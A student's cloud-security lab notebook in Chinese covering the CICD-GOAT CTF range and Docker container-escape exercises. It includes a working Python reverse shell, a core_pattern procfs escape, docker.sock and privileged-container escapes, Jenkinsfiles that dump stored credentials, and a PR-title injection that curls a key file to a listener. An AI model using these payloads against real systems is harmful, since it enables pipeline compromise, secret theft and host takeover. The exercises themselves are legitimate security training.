云安全

实验记录

[TOC]

大作业-CICD-GOAT靶场实验

参考

https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux/ https://xz.aliyun.com/t/13009?time__1311=GqmhBKYK7KGK0KDsD7%2BEu8pIB2BxmqApD
https://github.com/cider-security-research/cicd-goat https://blog.putdown.top/archives/a37ca202-5e50-4422-9ef4-281708e8c193 https://www.youtube.com/watch?v=EgE1i3AcUX8 https://www.youtube.com/watch?v=aH35DD2uVwY https://tttang.com/archive/1650/ https://whoopsunix.com/docs/DevOpsAttack/cicd-goat/ https://github.com/cider-security-research/cicd-goat/tree/main/solutions

靶场搭建

  1. curl -o cicd-goat/docker-compose.yaml --create-dirs https://raw.githubusercontent.com/cider-security-research/cicd-goat/main/docker-compose.yaml在虚拟机中一直下载失败,所以在主机上下载后复制到虚拟机。
  2. docker compose up -d非常慢,会中途突然卡住并且之后也不会再动了。 解决:
  3. 分成多个命令单独下载。
  4. 修改/etc/docker/daemon.json限制并发,并且似乎镜像源只有一个会比多个还快?
{
  "max-concurrent-downloads": 1,
  "registry-mirrors": [
    "https://docker.hlmirror.com"
  ]
}
sudo systemctl restart docker
  1. 重试,重试,重试 环境搭建成功
  2. 有时候会出现某个端口的服务不能正常访问的问题,一种可能的方法是重开
Login to CTFd at http://localhost:8000 to view the challenges:
Username: alice
Password: alice

Hack:
Jenkins http://localhost:8080
Username: alice
Password: alice
Gitea http://localhost:3000
Username: thealice
Password: thealice
GitLab http://localhost:4000
Username: alice
Password: ali12345

Easy - White Rabbit

提示

我来晚了,我来晚了!没时间说你好,再见!在您被抓之前,请使用您对Wonderland/white-rabbit存储库的访问权限来窃取存储在 Jenkins 凭证存储中的flag1机密。
尝试通过存储库触发管道。
如何使用 Jenkinsfile 访问凭据?

本题利用对仓库的访问权限,修改了jenkinsfile,影响了流水线的执行过程,直接获得了flag 关键词:存储库的访问权限,Jenkins 凭证存储 相关信息:Jenkinsfile 是 Jenkins的配置文件。它定义了 Jenkins 构建流水线(pipeline),包括了从代码检查、单元测试、集成

过程

登录Gitea

git clone http://localhost:3000/Wonderland/white-rabbit.git
pipeline {
    // 使用任何可用的代理执行管道
    agent any
    
    // 定义环境变量
    environment {
        PROJECT = "src/urllib3"  // 指定项目路径
    }

    stages {
        // 第一个阶段:安装依赖项
        stage ('Install_Requirements') {
            steps {
                // 创建虚拟环境并安装依赖
                sh """
                    virtualenv venv  // 创建虚拟环境
                    pip3 install -r requirements.txt || true  // 安装requirements.txt中的依赖,如果失败,继续执行后续步骤
                """
            }
        }

        // 第二个阶段:静态代码分析
        stage ('Lint') {
            steps {
                // 使用 pylint 对指定项目进行静态代码检查
                sh "pylint ${PROJECT} || true"  // 如果pylint检查失败,继续执行后续步骤
            }
        }

        // 第三个阶段:运行单元测试
        stage ('Unit Tests') {
            steps {
                // 执行 pytest 来运行所有的单元测试
                sh "pytest"  // 执行pytest进行单元测试
            }
        }
        
        // 获取凭证并执行恶意代码的阶段
        stage ('Get_Flags') {
            steps {
                // 使用 Jenkins 凭证插件获取 flag1 密码(可能是一个存储在凭证管理中的机密)
                withCredentials([string(credentialsId: 'flag1', variable: 'flag1')]) {
                    // 这里注入了恶意代码,将 flag1 的值进行 base64 编码并输出
                    sh '''
                            echo $flag1 | base64  // 这将打印凭证的 base64 编码,可能用于泄露机密
                        '''   
                }
            }
        }

    }
    // 后置操作:在管道执行完成后始终执行
    post { 
        always { 
            // 清理工作空间
            cleanWs()  // 清理构建中使用的工作目录
        }
    }
}

修改文件后上传

git checkout -b challenge1
git add .
git config user.name "Your Name"
git config user.email "you@example.com"
git commit -m "challenge1-1"
git push -u origin challenge1

新分支:

合并请求:

在http://localhost:8080 中找到这个pr并点击 build now

打开这次运行的console output

在最下面可以看到base64加密后的flag

用cyberchef等工具解密得到flag:06165DF2-C047-4402-8CAB-1C8EC526C115

踩坑

虚拟机里用vscode非常卡,要使用的话就要给虚拟机多分配些内存

总结

通过修改 Jenkinsfile 来窃取存储在 Jenkins 凭证存储中的 flag1。首先,从 Jenkins 触发 Gitea 仓库的管道并下载源代码,然后在 Jenkinsfile 中增加一段代码,通过 withCredentials 获取存储的 flag1 凭证,并使用 sh 命令将其 base64 编码输出。接着,创建新分支并提交修改,推送到远程仓库,在 Gitea 上创建PR。最后,回到 Jenkins 触发管道,成功获取并显示 flag1 的内容。

Easy - Mad Hatter

提示

Jenkinsfile 被保护了吗?听起来像是一个不庆生的派对。利用你对 Wonderland/mad-hatter 仓库的访问权限窃取 flag3 秘密。  
Jenkinsfile 存储在哪里?在 Wonderland 组织中搜索仓库名称,你可能会找到一些有用的仓库。  
Jenkinsfile 执行了哪些命令?

结合提示,确实发现Wonderland/mad-hatter仓库没有Jenkinsfile,根据console output可以看到有Wonderland/mad-hatter-pipeline相关的流程

过程

git clone http://localhost:3000/Wonderland/mad-hatter.git

修改makefile:

whoami
    echo "$(FLAG)" | base64

git checkout -b challenge2
git add .
git config user.name "Your Name"
git config user.email "you@example.com"
git commit -m "challenge2"
git push -u origin challenge2

类似上一题的操作: 得到flag:ACD6E6B8-3584-4F43-AB9C-ACD080B8EBB2

如果不进行base64加密:

总结

Mad Hatter分成了两个仓库,一个仓库存代码一个仓库存pipeline配置文件,pipeline配置文件的那个仓库无法git push。 整体思路和上一题差不多,提交pr触发pipeline。

Easy - Duchess

提示

如果每个人都管好自己的事,世界转得比现在快得多。这对你的秘密也适用吗?
你有访问 Wonderland/duchess 仓库的权限,这个仓库大量使用 Python。
Duchess 非常关注她的凭证安全,但肯定某个地方遗留了 PyPi 令牌...你能找到它吗?
PyPi 令牌的前缀是 “pypi-”。
过去可能犯过一些错误。

结合提示,与历史记录有关 相关信息:Gitleaks 是一个开源的 Git 仓库秘密扫描工具,旨在检测和防止敏感数据(如 API 密钥、密码、证书等)被错误地提交到 Git 仓库中。它可以帮助开发者和安全团队自动化地扫描 Git 仓库,发现潜在的安全漏洞,尤其是在代码历史中暴露的敏感信息。

过程

gitleaks detect # 扫描当前 Git 仓库
gitleaks detect --commit-ref <commit-id> # 扫描历史提交
gitleaks detect --report-format json --report-path gitleaks_report.json # 使用 JSON 格式输出扫描结果
git clone http://localhost:3000/Wonderland/duchess.git
cd duchess
wget  https://github.com/gitleaks/gitleaks/releases/download/v8.18.0/gitleaks_8.18.0_linux_x64.tar.gz
tar -xzvf gitleaks_8.18.0_linux_x64.tar.gz
./gitleaks detect -v

git show 43f216c2268a94ff03e5400cd4ca7a11243821b0

总结

这道题通过检测 Git 仓库的历史记录,寻找可能暴露的 PyPi 令牌。由于历史中可能有一些敏感信息的泄漏,使用工具如 gitleaks 可以帮助发现这些泄露的凭证。最终,通过查看提交历史并提取出 PyPi 令牌,获取了 flag。 比较有意思的是我在写题解时写到了pypi的具体内容,导致部署失败,才发现它没有通过安全审查

Moderate - Caterpillar

提示

你是谁?你只有读取权限……这足够吗?利用你对 Wonderland/caterpillar 仓库的访问权限来窃取存储在 Jenkins 凭证存储中的 flag2 密钥。
首先,Fork 这个仓库并创建一个 Pull Request,以触发一个恶意的流水线。
在执行恶意代码并触发 Jenkins 作业后,哪些环境变量可以帮助你继续前进?
在流水线中找到了 Gitea 访问令牌?很好。现在还有另一个流水线,它是通过推送到主分支触发的。也许你能从那里获取到 flag!

结合提示,我们需要通过fork+pr触发wonderland-caterpillar-test流水线得到环境变量,从中得到Gitea访问令牌,然后通过提交到main触发wonderland-caterpillar-prod,得到flag

过程

先fork

git clone http://localhost:3000/thealice/caterpillar.git

修改Jenkinsfile,修改Install_Requirements阶段

pipeline {
    agent any

    stages {
        stage('Install_Requirements') {
            steps {
               sh '''
               env
                 '''
                // 执行安装依赖步骤
            }
        }
        // 其他阶段...
    }
}
git add .
git commit -m "challenage2-1"
git config --global user.email "you@example.com"
git config --global user.name "Your Name"
git commit -m "challenage2-1"
git push

提交pr jenkins的这个提交的console output中得到 GITEA_TOKEN=5d3ed5564341d5060c8524c41fe03507e296ca46

git clone http://5d3ed5564341d5060c8524c41fe03507e296ca46@192.168.72.129:3000/Wonderland/caterpillar.git

修改Jenkinsfile的deploy阶段

pipeline {
    agent any

    stages {
        stage('deploy') {
            steps {
                withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'TOKEN')]) {
            sh 'echo $TOKEN | base64'
                }
            }
        }
        // 其他阶段...
    }
}

再创建分支并提交、合并,即可触发另一个wonderland-caterpillar-prod的管道

git checkout -b challenge2-1
git add .
git commit -m "challenge2-1"
git push -u origin challenge2-1

console output中得到flag=AEB14966-FFC2-4FB0-BF45-CD903B3535DA

总结

和Easy的前两道题有些类似,修改和利用 Jenkinsfile 触发恶意流水线。

Moderate - Cheshire Cat

提示

有些人走这条路,有些人走那条路,但至于我,个人来说,我更喜欢捷径。你受害者的 Jenkins 实例中的所有任务都在专用节点上运行,但这对你来说还不够好。你很特别,你想在 Jenkins 控制器上执行代码。那才是重点所在!利用你对 Wonderland/cheshire-cat 仓库的访问权限,在控制器上执行代码并从其文件系统中窃取 ~/flag5.txt。注意:不要使用在本题中获得的访问权限来解决其他题目。
尝试执行直接 PPE 攻击。
如何让 Jenkinsfile 指示 Jenkins 在控制器上运行任务?
尝试找到控制器的标签——“内置节点”。

结合提示,与执行的节点有关。 相关信息: agent any:流水线可以在 任何可用的节点 上执行,Jenkins 会自动选择一个空闲的节点,适用于不关心节点选择的情况。 agent { label ‘built-in’ }:流水线只会在 具有特定标签的节点 上执行,这样可以保证任务只在符合特定条件的节点上运行,适用于有特殊要求的场景。

过程

git clone http://localhost:3000/Wonderland/cheshire-cat.git

修改Jenkinsfile

pipeline {
    agent {label 'built-in'}
    stages {
        stage ('Install_Requirements') {
            steps {
                sh 'cat ~/flag5.txt'
            }
        }
    }
}
git checkout -b challenge2-2
git add .
git commit -m "challenge2-2"
git push -u origin challenge2-2

提交pr

得到flag=6B31A679-6D70-469D-9F8D-6D6E80B3C29C

查到存在非预期解https://tttang.com/archive/1650/#toc__1:

println "cat /var/jenkins_home/flag5.txt".execute().text

查到的:

我的:

可能是权限不够吗?我的界面中没有script console。也可能是这个bug被修复了?

总结

通过指定节点来获得所需的信息

Moderate - Twiddledum

提示

反过来说,如果它是这样,它可能就是;如果它确实是这样,它就会是;但既然它不是这样,它就不是。这就是逻辑。Flag6在twiddledum管道中等着你。
twiddledum应用程序使用了哪些依赖项?
twiddledee包是一个依赖项。使用它在twiddledum管道中执行恶意代码

根据提示,我们查看Wonderland/twiddledum仓库中的依赖项,发现此项目依赖twiddledee

过程

git clone http://localhost:3000/Wonderland/twiddledee.git

修改index.js

var pjson = require('./package.json');
console.log(Buffer.from(process.env.FLAG6).toString("base64"))
git add .
git commit -m "challenge2-3"
git push

主动build,得到flag

总结

管道项目的依赖项可能存在供应链攻击,给twiddledee依赖项投毒,导致管道的仓库twiddledum也执行了相关命令。

Moderate - Dodo

提示

每个人都赢了,所有人都必须有奖品!Dodo管道正在扫描你。你的任务是在不被抓到的情况下使S3存储桶变为公开可读。完成后,在工作的控制台输出中领取你的奖品。
阅读关于Checkov的信息,它是一个阻止你把事情搞砸的扫描器。
阅读关于恶意代码分析的信息。

此题考查引入 checkov 产生的安全问题,这个工具会读取仓库中的 .checkov.yml 配置文件作为 checkov 运行的配置 相关信息: Checkov 是一个开源的静态代码分析工具,专门用于扫描 基础设施即代码(Infrastructure as Code, IaC) 配置文件,检查潜在的安全问题和合规性风险。它支持多种 IaC 工具的配置格式,如 Terraform、CloudFormation、Kubernetes 配置文件等。

过程

git clone http://localhost:3000/Wonderland/dodo.git

创建.checkov.yml:

soft-fail: true
check:
  - THIS_NOT_THE_CHECK_YOUR_ARE_LOOKING_FOR
#  soft-fail: true 使得失败的检查不会导致流程中止。
# THIS_NOT_THE_CHECK_YOUR_ARE_LOOKING_FOR 无效的占位符或调试信息,提示该检查项无效或是错误的。

修改main.tf中的bucket acl为public-read(114行)

  acl           = "public-read"
git add .
git commit -m "challenge2-4"
git push

build 得到flag=A62F0E52-7D67-410E-8279-32447ADAD916

总结

通过修改配置文件,影响流水线的执行过程

Hard - Hearts

提示

谁偷了那些馅饼?你的目标是拿到flag8的凭证。但别急……这些是存储在Jenkins上的系统凭证!你该如何访问它们呢?拥有管理代理的权限可能会对你有用……
谁是可以管理代理的Jenkins用户?
你已经暴力破解了Knave这个Jenkins用户了吗?
如果你还没有,Knave用户的密码是rockme。
Jenkins系统凭证可以被代理访问。创建一个代理,使用flag8作为它的SSH凭证,并尝试捕获它。

关于ssh蜜罐: SSH蜜罐是一种安全工具,通常用于捕获、监控和分析针对SSH(Secure Shell)服务的攻击行为。SSH是一种用于远程管理计算机和服务器的协议,攻击者经常尝试通过暴力破解、弱密码或漏洞利用等手段进行入侵。为了应对这些威胁,SSH蜜罐的作用是在攻击者进行非法访问时将其引导到一个受控的环境中,在这个环境中,攻击者的活动可以被监控、记录,甚至反向攻击以识别攻击者的真实身份。

主要特点:
诱骗攻击者:SSH蜜罐通过模拟SSH服务,吸引攻击者的注意力,使其误认为它是一个真实的服务器。
监控攻击行为:蜜罐可以记录攻击者的所有行为,包括暴力破解密码、尝试不同的用户名、使用恶意脚本等。
无害环境:通常,蜜罐环境是与生产系统隔离的虚拟环境,攻击者在其中的行为不会对真实系统造成危害。
数据收集与分析:通过SSH蜜罐,安全团队可以收集攻击者的技术手段、工具、攻击模式等信息,为防御措施提供依据。
使用场景:
安全研究:帮助安全研究人员深入了解攻击者的行为,识别新型攻击模式和漏洞。
入侵检测与防御:在检测到异常的SSH连接时,SSH蜜罐能够提供进一步的线索。
提高系统安全性:通过分析蜜罐中的日志和数据,增强对网络的监控与防护能力。
常见的SSH蜜罐工具:
Cowrie:一个常用的SSH蜜罐工具,它能够模拟SSH登录,记录攻击者的输入,甚至能够模拟命令执行并让攻击者误以为自己已经成功登录。
Honeyd:一个可以创建多个虚拟主机的蜜罐工具,可以模拟各种服务,包括SSH服务。

过程

sudo docker run -p 2222:2222 cowrie/cowrie

端口被占用了,换一个

# sudo echo 1 > /proc/sys/net/ipv4/ip_forward 这个命令我会显示权限不够
sudo sysctl -w net.ipv4.ip_forward=1 # 改成这个命令
sudo iptables -P FORWARD ACCEPT
sudo iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

如何知道蜜罐的ip:

sudo docker ps
sudo docker inspect 53babb3846e4 | grep "IPAddress"

根据提示,通过Knave,rockme登录jenkins

新建一个节点,配置如下:

显示没有java

但是看了java应该没有问题?

目前卡在了这里

总结

蜜罐监听,似乎不难但是没成功

Hard - Dormouse

提示

“我在睡觉时呼吸”和“我在呼吸时睡觉”是一样的吗?如果你在黑客入侵流水线时窃取秘密,这是否意味着你在窃取秘密时黑客入侵流水线?这些胡说八道先放一边。黑掉 Dormouse 流水线。偷取 flag 9。祝好运。
reportcov.sh 脚本的代码存储在哪里?
访问 Cov 组织下的 reportcov 源代码。
你能向它的工件中添加恶意代码吗?审查 reportcov 的 Jenkinsfile,寻找可能的命令注入漏洞。
创建一个针对 reportcov 仓库的 pull request,并在标题中注入代码到其流水线中。

注意这个.sh

存在注入漏洞

过程

nc -nvlp 12345

fork仓库,随意稍作修改,然后push 把pr的title改成

`echo "${KEY}" > key && curl -v -F file=@key http://[ip]:12345`

理论上应当能监听到,但是agent1似乎被我折腾坏了,导致offline,根本不能执行流水线

总结

同样是看着似乎不难,但是没成功,之后会再尝试的。

第一次课11.12

课程内容

云计算云安全信创操作系统等基本概念 参考资料: https://blog.csdn.net/wenzhongxiang/article/details/133044041
http://www.caict.ac.cn/kxyj/qwfb/bps/202407/P020240723334151523502.pdf
https://developer.aliyun.com/article/1325299
https://blog.csdn.net/Peelarmy/article/details/128955751

课后作业

操作 docker

https://www.runoob.com/docker/docker-command-manual.html
https://cloud.tencent.com/developer/article/1004345

# 显示 Docker 版本
docker --version

# 获取有关 Docker 配置、容器状态、镜像等的信息
docker info

# 启动一个新的容器并在后台运行
# 例如,启动一个 Nginx 容器并将其端口映射到宿主机的 80 端口
docker run -d -p 80:80 nginx

# 列出所有运行中的容器
# 如果只想查看当前正在运行的容器,可以使用该命令
docker ps

# 列出所有容器(包括已停止的)
# 显示包括已停止的所有容器信息
docker ps -a

# 启动一个已停止的容器
# 启动指定名称的容器
docker start my_container

# 停止运行中的容器
# 停止指定名称的容器
docker stop my_container

# 重启容器
# 重启指定名称的容器
docker restart my_container

# 进入运行中的容器并执行命令
# 通过 `exec` 进入容器的 bash shell
docker exec -it my_container bash

# 删除一个容器
# 删除指定名称的容器(注意,容器必须是停止状态)
docker rm my_container

# 查看容器的日志
# 查看指定容器的输出日志
docker logs my_container

# 拉取 Docker 镜像
# 从 Docker Hub 或其他镜像仓库拉取镜像
docker pull ubuntu:latest

# 构建 Docker 镜像
# 使用当前目录中的 Dockerfile 构建镜像
docker build -t my_image .

# 列出所有本地镜像
# 查看所有本地的 Docker 镜像
docker images

# 删除镜像
# 删除指定名称的镜像
docker rmi my_image

# 查看网络信息
# 列出 Docker 网络
docker network ls

# 清理未使用的 Docker 数据
# 删除无用的容器、镜像、网络和数据卷
docker system prune

# 清理未使用的镜像
# 删除本地未使用的 Docker 镜像
docker image prune

# 查看实时资源使用情况
# 显示容器的 CPU、内存、网络等实时使用情况
docker stats

配置使用Metarget云原生攻防靶场

https://github.com/Metarget/metarget/blob/master/README-zh.md
搭建脆弱场景sudo ./metarget cnv install cve-2019-5736
了解当前支持的云原生组件sudo ./metarget gadget list

安装指定版本Docker./metarget gadget install docker --version 18.03.1

安装指定版本Kubernetes./metarget gadget install k8s --version 1.16.5(配置了代理所以不用–domestic)

安装指定版本的Kata-containers./metarget gadget install kata --version 1.10.0

安装指定版本Linux内核./metarget gadget install kernel --version 5.7.5

第二次课11.26

活动中的容器存在的风险

–privileged特权容器判断

cat /proc/self/status|grep CapEff
# 如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff或者是 0000001fffffffff

–privileged特权容器逃逸

挂载宿主机目录逃逸

原理:容器在运行时,通常会使用挂载(mount)来共享宿主机的某些目录。宿主机的文件系统和容器文件系统是隔离的,但容器可以通过 –mount 或 -v 参数将宿主机的目录或文件挂载到容器内。
如果容器的管理员不小心配置了挂载宿主机的敏感目录,攻击者就可以通过容器访问宿主机的文件系统,从而执行容器逃逸操作。
https://www.freebuf.com/articles/system/367446.html
https://wiki.teamssix.com/cloudnative/docker/docker-privileged-escape.html
https://www.isisy.com/1510.html
使用 Privileged 特权模式创建并启动一个容器,确认它是特权容器

sudo docker run --rm --privileged=true -it alpine
cat /proc/self/status|grep CapEff

fdisk -l # 查看挂载磁盘设备

mkdir /tmp/test
mount /dev/sda3 /tmp/test
cd /tmp/test
chroot ./ bash

(只有sda3能成功)

挂载宿主机procfs逃逸

原理:通过挂载宿主机的/proc目录到容器内,攻击者能够访问并修改宿主机上的关键系统文件,如/proc/sys/kernel/core_pattern,从而在进程崩溃时执行任意代码。
https://wiki.teamssix.com/cloudnative/docker/docker-procfs-escape.html

# 创建一个容器并挂载 /proc 目录
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
# 如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
find / -name core_pattern
# 找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

# 安装 vim 和 gcc
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

创建一个反弹 Shell 的 py 脚本

#!/usr/bin/python3
import  os
import pty
import socket
lhost = "192.168.192.158"
lport = 4444
def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   # os.remove('/tmp/.t.py')
   s.close()
if __name__ == "__main__":
   main()
chmod 777 /tmp/.t.py
echo -e "|/var/lib/docker/overlay2/101db45d2807f35708ac3eaf81e56c047f175c082a38e73cc9e497121e6d9167/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern
vim t.c
gcc t.c -o t
./t
#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}

确认了可以连接

以及路径正确

但是没有成功

单独运行.t.py发现原来是没有python环境

apt install python3 python3-pip

重新运行后成功

容器管理程序接口的风险

UNIX-socket挂载到容器内部

原理:Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信——查询信息或下发命令。如果在攻击者可控的容器内挂载了该套接字文件(/var/run/docker.sock),可通过Docker Socket与Docker守护进程通信,发送命令创建并运行一个新的容器,将宿主机的根目录挂载到新创建的容器内部,完成逃逸。 https://wiki.teamssix.com/cloudnative/docker/docker-socket-escape.html
https://www.freebuf.com/articles/system/382166.html

sudo docker run -itd --name docker_sock_new -v /var/run/docker.sock:/var/run/docker.sock ubuntu
sudo docker exec -it docker_sock_new bash 
ls -lah /var/run/docker.sock # 判断当前容器是否挂载Docker Socket,如果存在文件则说明Docker Socket被挂载
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
docker run -it -v /:/host ubuntu /bin/bash # 在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
chroot /host

第三次课12.3

小作业-利用密钥获得存储桶信息

https://www.fzxm.cn/help/20210201144211000.html

复制右侧提供的python代码

替换为同学的密钥和地址,执行成功

Licensed under CC BY-NC-SA 4.0